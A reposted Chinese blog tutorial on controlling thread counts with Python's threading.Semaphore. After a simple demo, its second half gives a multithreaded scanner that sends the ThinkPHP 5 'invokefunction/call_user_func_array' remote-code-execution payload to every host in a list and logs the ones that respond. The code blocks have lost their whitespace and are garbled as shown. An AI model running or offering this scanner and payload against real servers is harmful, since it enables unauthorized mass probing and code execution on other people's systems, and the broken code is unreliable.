python多线程semaphore实现线程数控制的示例
前面写过一篇关于python多线程的实现的文章,但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。
百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。
一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。
简而言之,也就是能够控制多线程并发的数量。
简单记录一下如何通过semaphore实现线程数的控制。
简单代码:
#!-*-coding:utf-8-*- importthreading importtime classtest(threading.Thread):#继承threading类 def__init__(self,i,sem): super(test,self).__init__()#继承python的构造方法,这为python2的写法,python3可直接super().__init__() self.i=i self.sem=sem defrun(self): time.sleep(0.1) print("thetestiis:"+str(self.i)) self.sem.release()#释放线程数,线程数加1 if__name__=='__main__': sem=threading.Semaphore(5)#设置可同时执行的最大线程数 foriinrange(50): sem.acquire()#获得线程,可用线程数减1 t=test(i,sem)#给执行函数传递值 t.start()#执行函数 sem=threading.Semaphore(5)#设置可同时开启的线程数,这里为5个
每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。
整个流程理解起来其实也很简单。
之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):
#-*-coding:UTF-8-*- importrequests importthreading importtime importsys classcheck(threading.Thread):#判断是否存在这个漏洞的执行函数 def__init__(self,url,sem): super(check,self).__init__()#继承threading类的构造方法,python3的写法super().__init__() self.url=url self.sem=sem defrun(self): time.sleep(0.2) parameters="s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" try: responce=requests.get(url=self.url,params=parameters) body=responce.text ifbody.find('PHPExtension')!=-1: withopen("success.txt","a+")asf1: f1.write("存在tp5远程代码执行漏洞:"+self.url+"\n") print("[+]"+self.url) else: print("[-]"+self.url) exceptException,err: print("connectfailed") pass self.sem.release()#执行完函数,释放线程,线程数加1 classhost(threading.Thread):#遍历文件操作 def__init__(self,sem): super(host,self).__init__()#继承threading类的构造方法,python3的写法super().__init__() self.sem=sem defrun(self): withopen(sys.argv[1],"r")asf: forhostinf.readlines(): self.sem.acquire()#遍历一个就获得一个线程,直到达到最大 host="http://"+host.strip() host_thread=check(host,self.sem) host_thread.start()#执行check()的执行函数 if__name__=='__main__': sem=threading.Semaphore(10)#最大线程数为10个 thread=host(sem)#传递sem值 thread.start()
到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python线程数控制内容请搜索毛票票以前的文章或继续浏览下面的相关文章希望大家以后多多支持毛票票!
声明:本文内容来源于网络,版权归原作者所有,内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:czq8825#qq.com(发邮件时,请将#更换为@)进行举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。